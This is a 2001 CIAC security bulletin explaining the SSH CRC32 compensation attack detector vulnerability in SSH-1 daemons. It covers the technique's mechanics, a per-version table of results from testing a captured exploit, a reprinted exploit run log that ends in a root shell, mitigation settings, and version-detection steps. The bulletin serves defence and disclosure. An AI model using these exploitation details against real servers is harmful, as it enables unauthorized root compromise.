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TUCoPS :: Unix :: General :: sshcrc32.txt

Understanding the SSH CRC32 Exploit




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[CIAC] TECHNICAL BULLETIN

CIACTech02-001: Understanding the SSH CRC32 Exploit

December 20, 2001 19:00 GMT
  ------------------------------------------------------------------------
 PROBLEM:           In recent months, many servers running ssh have been
                    compromised using the SSH CRC32 Compensation Attack
                    Detector. Compromised machines have either not been
                    upgraded to SSH protocol 2 or have not disabled drop
                    back to SSH protocol 1. Use of this attack allows a
                    remote user to gain root access on a server.
 PLATFORM:          Any server running SSH protocol 1 or SSH protocol 2
                    configured to drop back to protocol 1.
 ABSTRACT:          This technical bulletin describes the SSH CRC32
                    Compensation Attack Detector vulnerability and the
                    operation of an exploit code that attacks that
                    vulnerability. It discusses detecting the version of
                    sshd that a system is running and how to differentiate
                    between different versions.
  ------------------------------------------------------------------------

 LINKS:
   CIAC       http://www.ciac.org/ciac/techbull/CIACTech02-001.shtml
 BULLETIN:
   OTHER      CIAC Bulletin L-047 OpenSSH SSH1 Coding Error and Server Key
 LINKS:       Vulnerability
              CIAC Bulletin M-017- Multiple SSH Version 1 Vulnerabilities
              Michal Zalewski's Bindview Bulletin
  ------------------------------------------------------------------------

In recent months, many servers running ssh have been compromised using the
SSH CRC32 Compensation Attack Detector. Compromised machines have either
not been upgraded to SSH protocol 2 (SSH-2) or have not disabled drop back
to SSH protocol 1 (SSH-1). Use of this attack allows a remote user to gain
root access on a server. Over the last few weeks we have also seen many
rumors about different exploitable versions of the sshd daemon. This
Technical Bulletin will attempt to sort out what we know about these
vulnerabilities and what you can do about them.

The SSH CRC32 Compensation Attack Detector Vulnerability

The vulnerability being exploited in all of these attacks is known as the
SSH CRC32 Compensation Attack Detector. It was found by Michal Zalewski of
Bindview in February of 2001. The exploited code was actually inserted in
sshd to compensate for a deficiency in the SSH-1 protocol. The exploited
code watches for an attempt to attack the deficiency. The attack detector
creates a dynamically allocated table in memory to store the connection
information it uses to detect an attack. Using a crafted packet, it is
possible to create a table with zero length and to then push data into the
zero length table, overwriting memory including the function’s return
address. As soon as an intruder can change a function’s return address, he
can run any code and use it to open a shell running with the privilege of
the sshd daemon (usually root).

Note: There is more than one SSH protocol and more than one version of the
sshd program. All of the current 1.x versions of the sshd program implement
SSH protocol 1.5, which is generally called the SSH-1 protocol. Program
versions 2 and higher with drop back to protocol 1 enabled  show the SSH
1.99 protocol or if drop back is disabled, they show SSH 2.0 protocol. Both
of these are the SSH-2 protocol. If you telnet to port 22 on a machine that
is running the sshd daemon, you get back a string that tells you the
protocol currently being implemented and the version of the sshd daemon.
For example, a returned string might be: SSH-1.5-1.2.27 which tells you
that the daemon is implementing protocol version 1.5 and that the daemon is
version 1.2.27.



Note: The SSH-2 daemons implement a drop back to protocol 1 mode for
protocol 1 clients. For OpenSSH, both the SSH-1 and SSH-2 protocols are
implemented in the single sshd daemon. For F-Secure and ssh.com versions of
SSH, the protocols are implemented in two different programs. The SSH-2
protocol daemon accepts the connection and passes it to an SSH-1 protocol
daemon if the client is not able to handle the SSH-2 protocol. In both
cases, the drop back is turned on or off with a command in the sshd
configuration file.



Exploiting the SSH CRC32 Compensation Attack Detector

We obtained a copy of an exploit code for the CRC32 Compensation Detector
attack and tested it against several versions of sshd. The exploit code
runs on Linux systems and only attacks sshd running on other Linux systems.
Because buffer overflow attacks are hardware specific (you are pushing
machine codes into memory) this exploit program would have to be rewritten
to attack other platforms such as Solaris running on a Sparc processor.
Because the vulnerability is dependent on the software, any UNIX system
running a vulnerable version of sshd is vulnerable to this exploit, just
not this particular implementation of it.

The exploit code we obtained has seven different exploits in it selected
from the following list.

( 1)    Small - SSH-1.5-1.2.26
( 2)    Small - SSH-1.5-1.2.27
( 3)    Small - SSH-1.5-1.2.31
( 4)    Small - SSH-1.5-1.3.07
( 5)    Small - SSH-1.5-OpenSSH-1.2.3
( 6)    Small - SSH-1.99-OpenSSH_2.2.0p1
( 7)    Big - SSH-1.99-OpenSSH_2.2.0p1

We noted that many of the exploits are not limited to the indicated version
of sshd but work against several of the versions. Note also that attacks 6
and 7 on the SSH-2 protocol actually attack the SSH-1 protocol part of the
sshd daemon. We don’t know what the difference is between attacks 6 and 7.
If the option to drop back to SSH-1 protocol is disabled, the exploits
don’t work.

For example, see OpenSSH 2.2.0 in the table below. We tested it three
times, first with both protocols enabled, next with only protocol 2, and
lastly with only protocol 1. As you can see, the exploits only worked when
protocol 1 was enabled.

                                             SSH Attack
   SSH Version String (protocol)        1     2     3    4     5    6     7

SSH-1.5-1.2.21                      F    F     F     F    F     F    F
SSH-1.5-1.2.26                      W    W     F
SSH-1.5-1.2.27                      W    W     F
SSH-1.5-1.2.31                      W    W     F     F
SSH-1.5-1.2.32                           Q     Q     Q
SSH-1.5-1.3.5                            Q     Q     Q
SSH-1.5-OpenSSH-1.2.3                    F                F     F
SSH-1.99-2.3.1                      F    F     F     F    F     F    F
SSH-1.99-OpenSSH_2.1.1p1 (1, 2)      F   F     F     F    F     F    F
SSH-1.99-OpenSSH_2.2.0p1 (1, 2)          W                      F    F
SSH-1.99-OpenSSH_2.2.0p1    ( 2)         F                      F    F
SSH-1.99-OpenSSH_2.2.0p1    ( 1 )        W                      F    F
SSH-1.99-OpenSSH_2.9p2     (1,2)    Q    Q     Q     Q    Q     Q    Q
SSH-1.99-OpenSSH_2.9p2       ( 2)   C    C     C     C    C     C    C
SSH-1.99-OpenSSH_2.9p2       ( 1)   Q    Q     Q     Q    Q     Q    Q
SSH-1.99-OpenSSH_3.0.2p1 (1, 2)     Q    Q     Q     Q    Q     Q    Q
SSH-1.5-1.3.3 Solaris               Q    Q     Q     Q    Q     Q    Q

F = Failed
W = Worked
Q = Quit, wouldn’t try
C = Crashed exploit code

All of the servers in the table were running on a Red Hat Linux 7.0 system.
It is not impossible that some of the failures noted in the table are
related to the OS and libraries on the system and not only on the version
of SSH installed.

One thing that was curious was that we could not get the protocol 2 attacks
(6 and 7) to work against the specific version listed for the attack
(OpenSSH_2.2.0p1). We don’t know if it was some combination of system and
server that was different from the intruder’s or if the attacks listed in
the code were more wishful thinking on the intruder’s part. It does appear
that the attack is only against the SSH-1 protocol part of OpenSSH as the
attack code crashed when fall back to the SSH-1 protocol was disabled.

When run, the exploit code prints the following reports on the terminal.

[root@arianna ss]# ./x10 -t1 192.168.1.120

password:

Target: Small - SSH-1.5-1.2.26



Attacking: 192.168.1.120:22

Testing if remote sshd is vulnerable # ATTACH NOWYES #

Finding h - buf distance (estimate)

(1 ) testing 0x00000004 # SEGV #

(2 ) testing 0x0000c804 # FOUND #

Found buffer, determining exact diff

Finding h - buf distance using the teso method

(3 ) binary-search: h: 0x083fb7fc, slider: 0x00008000 # SEGV #

(4 ) binary-search: h: 0x083f77fc, slider: 0x00004000 # SURVIVED #

(5 ) binary-search: h: 0x083f97fc, slider: 0x00002000 # SURVIVED #

(6 ) binary-search: h: 0x083fa7fc, slider: 0x00001000 # SEGV #

(7 ) binary-search: h: 0x083f9ffc, slider: 0x00000800 # SEGV #

(8 ) binary-search: h: 0x083f9bfc, slider: 0x00000400 # SEGV #

(9 ) binary-search: h: 0x083f99fc, slider: 0x00000200 # SURVIVED #

(10) binary-search: h: 0x083f9afc, slider: 0x00000100 # SEGV #

(11) binary-search: h: 0x083f9a7c, slider: 0x00000080 # SEGV #

(12) binary-search: h: 0x083f9a3c, slider: 0x00000040 # SEGV #

(13) binary-search: h: 0x083f9a1c, slider: 0x00000020 # SEGV #

(14) binary-search: h: 0x083f9a0c, slider: 0x00000010 # SURVIVED #

(15) binary-search: h: 0x083f9a14, slider: 0x00000008 # SURVIVED #

Bin search done, testing result

Finding exact h - buf distance

(16) trying: 0x083f9a14 # SURVIVED #

Exact match found at: 0x000065ec

Looking for exact buffer address

Finding exact buffer address

(17) Trying: 0x080865ec # SURVIVED #

Finding distance till stack buffer

(18) Trying: 0xb7f81400 # SEGV #

(19) Trying: 0xb7f81054 # SEGV #

(20) Trying: 0xb7f80ca8 # SEGV #

(21) Trying: 0xb7f808fc # SEGV #

(22) Trying: 0xb7f80550 # SEGV #

(23) Trying: 0xb7f801a4 # SEGV #

(24) Trying: 0xb7f7fdf8 # SEGV #

(25) Trying: 0xb7f7fa4c # SEGV #

(26) Trying: 0xb7f7f6a0 # SEGV #

(27) Trying: 0xb7f7f2f4 # SEGV #

(28) Trying: 0xb7f7ef48 # SEGV #

(29) Trying: 0xb7f7eb9c # SEGV #

(30) Trying: 0xb7f7e7f0 # SEGV #

(31) Trying: 0xb7f7e444 # SEGV #

(32) Trying: 0xb7f7e098 # SURVIVED # verifying

(33) Trying: 0xb7f7e098 # SEGV # OK

Finding exact h - stack_buf distance

(34) trying: 0xb7f7de98  slider: 0x0200# SURVIVED #

(35) trying: 0xb7f7dd98  slider: 0x0100# SURVIVED #

(36) trying: 0xb7f7dd18  slider: 0x0080# SEGV #

(37) trying: 0xb7f7dd58  slider: 0x0040# SEGV #

(38) trying: 0xb7f7dd78  slider: 0x0020# SURVIVED #

(39) trying: 0xb7f7dd68  slider: 0x0010# SEGV #

(40) trying: 0xb7f7dd70  slider: 0x0008# SEGV #

(41) trying: 0xb7f7dd74  slider: 0x0004# SURVIVED #

(42) trying: 0xb7f7dd72  slider: 0x0002# SEGV #

Final stack_dist: 0xb7f7dd74

EX: buf: 0x080835ec h: 0x0807d000 ret-dist: 0xb7f7dcfa

ATTACH NOW

Changing MSW of return address to: 0x0808

Crash, finding next return address

Changing MSW of return address to: 0x0809

Crash, finding next return address

Changing MSW of return address to: 0x080a

Crash, finding next return address

EX: buf: 0x080835ec h: 0x0807d000 ret-dist: 0xb7f7dcf6

ATTACH NOW

Changing MSW of return address to: 0x0808

Crash, finding next return address

Changing MSW of return address to: 0x0809

Crash, finding next return address

Changing MSW of return address to: 0x080a

Crash, finding next return address

EX: buf: 0x080835ec h: 0x0807d000 ret-dist: 0xb7f7dcfc

ATTACH NOW

Changing MSW of return address to: 0x0808

Crash, finding next return address

Changing MSW of return address to: 0x0809

No Crash, might have worked

Reply from remote: CHRIS CHRIS





***** YOU ARE IN *****



localhost.localdomain

Linux localhost.localdomain 2.2.16-22 #1 Tue Aug 22 16:49:06 EDT 2000 i686
unknown

uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

This was an attack on an SSH 1.2.26 server using the 1.2.26 attack. The
password is for making the exploit code work. The exploit first connects to
the remote system, gets the version of sshd that is running, and decides if
it is going to attack. All the items in the table above that are marked Q =
Quit are situations where it decided to not attack the system.

Next, it starts a binary search for a buffer. It appears that it sends a
packet to the system and if the packet causes the server to fail (SEGV) it
didn’t find the buffer. If the server stays alive (SURVIVED) then it found
the buffer. It refines its search until it finally locates the start of the
buffer.

After finding the first buffer, it searches for and finds a “stack buffer”.
After finding both buffers, it starts attacking the system. In this case,
it took three tries to break into the system and get a root shell. In the
cases in the chart where the attacks failed, some attacks failed looking
for the buffers and some failed in the attack phase.

What We Know About This Vulnerability

SSH CRC32 Compensation Attack Detector vulnerability is only associated
with sshd server daemons that implement the SSH-1 protocol. This includes
sshd version 1.x stand alone daemons and sshd version 2.x and later daemons
that enable drop back to SSH-1 protocols. None of the exploits we tested
appeared to have any affect on machines running purely SSH-2 protocols.
This vulnerability only applies to ssh servers, it does not affect ssh
client programs.

Protecting Systems

To protect yourself from this vulnerability, you must not only install
SSH-2 protocol daemons but you must also disable the drop back to SSH-1
protocols. Systems that are currently being compromised are neglecting this
second step!

For F-Secure and ssh.com versions of sshd, remove the SSH-1 protocol daemon
from the system and set the following tag in the /etc/ssh2/sshd2_config
file.

   Ssh1Compatibility               no

For OpenSSH, the SSH-1 protocols are part of the SSH-2 daemon and cannot be
removed from the system. However, they can be disabled by setting the
following tag in the /etc/ssh/sshd_config file.

   Protocol 2

Detecting Vulnerable Systems

If you don’t know which version of the sshd daemon you are running, there
are two ways to find out: connecting to the daemon, and examining the sshd
file.



If the sshd daemon is loaded and running you can get its connection string
by telneting to the ssh port (22). The connection string first shows the
ssh protocol being used followed by the program version. Press return to
close the connection. Telneting to the ssh port can be done remotely or
locally (shown below). For remote connections, use the machine’s name or IP
address instead of “localhost” in the telnet command.

[root@arianna /root]# telnet localhost 22

Trying 127.0.0.1...

Connected to localhost.localdomain.

Escape character is '^]'.

SSH-2.0-OpenSSH_2.9p2

To tell if drop back to the SSH-1 protocol is enabled in SSH-2 systems,
examine the SSH protocol returned by the daemon. If the SSH protocol is 2.0
as shown above, drop back to SSH-1 is not enabled. If drop back to SSH-1 is
enabled, the SSH protocol changes to 1.99 as shown below.

[root@arianna ssh]# telnet localhost 22

Trying 127.0.0.1...

Connected to localhost.localdomain.

Escape character is '^]'.

SSH-1.99-OpenSSH_2.9p2

If the system is configured to only use the SSH-1 protocol, the protocol
version is 1.5 as shown below.

[root@arianna /root]# telnet localhost 22

Trying 127.0.0.1...

Connected to localhost.localdomain.

Escape character is '^]'.

SSH-1.5-OpenSSH_2.9p2

Another way to see the connection string is to connect to the server using
an ssh client with verbose mode turned on. To turn on verbose mode in a
command line version of ssh, use the –v switch; in the current gui
versions, choose Edit, Settings and check the Verbose mode box on the
Appearance tab. The connection string appears in the debug messages when
you attempt to connect to the server as shown below.

debug: Wrapping...

debug: Remote version: SSH-1.5-OpenSSH_2.9p2

debug: Remote server talks SSH-1.5 protocol.

Note that you do not need to be able to login to an ssh server to get this
information, you need only attempt to login.

If the sshd daemon is not running you can examine the sshd file itself to
see what its program version is. From within the system, find the sshd
daemon program (usually in /usr/local/sbin or /usr/sbin), do a “strings” on
it, and pipe the results through “more”. As you scroll through the strings,
watch for the one that contains the program version as shown below.

[root@arianna /root]# strings /usr/sbin/sshd | more

/lib/ld-linux.so.2

__gmon_start__

libpam.so.0

_DYNAMIC

pam_getenvlist

pam_end

pam_chauthtok

pam_authenticate

pam_close_session

_init

pam_setcred

pam_open_session

pam_set_item

pam_acct_mgmt

.

.

.

  RSA key generation complete.

OpenSSH_2.9p2

SSH-%d.%d-%.100s

Could not write ident string to %s.

.

.

.

Conclusions

Over the last few weeks, we have seen many systems broken into and multiple
claims and rumors about exploitation programs that can break into ssh
version 2.x and version 3.x server daemons. As best we can tell, the
breakins to SSH-2 systems are actually caused by the daemon’s ability to
drop back to SSH protocol 1 for clients that do not handle protocol 2.
Systems with only SSH-2 daemons on them and systems that have disabled drop
back to SSH-1 are not vulnerable to this attack. Users should protect their
systems by converting completely to SSH-2 protocol systems and by
eliminating or disabling access to daemons implementing the SSH-1 protocol.

  ------------------------------------------------------------------------
CIAC services are available to DOE, DOE Contractors, and the NIH. CIAC can
be contacted at:

    Voice:          +1 925-422-8193 (7 x 24)
    FAX:            +1 925-423-8002
    STU-III:        +1 925-423-2604
    E-mail:          ciac@llnl.gov
    World Wide Web:  http://www.ciac.org/
                     http://ciac.llnl.gov
                     (same machine -- either one will work)
    Anonymous FTP:   ftp.ciac.org
                     ciac.llnl.gov
                     (same machine -- either one will work)

  ------------------------------------------------------------------------
This document was prepared as an account of work sponsored by an agency of
the United States Government. Neither the United States Government nor the
University of California nor any of their employees, makes any warranty,
express or implied, or assumes any legal liability or responsibility for
the accuracy, completeness, or usefulness of any information, apparatus,
product, or process disclosed, or represents that its use would not
infringe privately owned rights. Reference herein to any specific
commercial products, process, or service by trade name, trademark,
manufacturer, or otherwise, does not necessarily constitute or imply its
endorsement, recommendation or favoring by the United States Government or
the University of California. The views and opinions of authors expressed
herein do not necessarily state or reflect those of the United States
Government or the University of California, and shall not be used for
advertising or product endorsement purposes.
  ------------------------------------------------------------------------
UCRL-MI-119788
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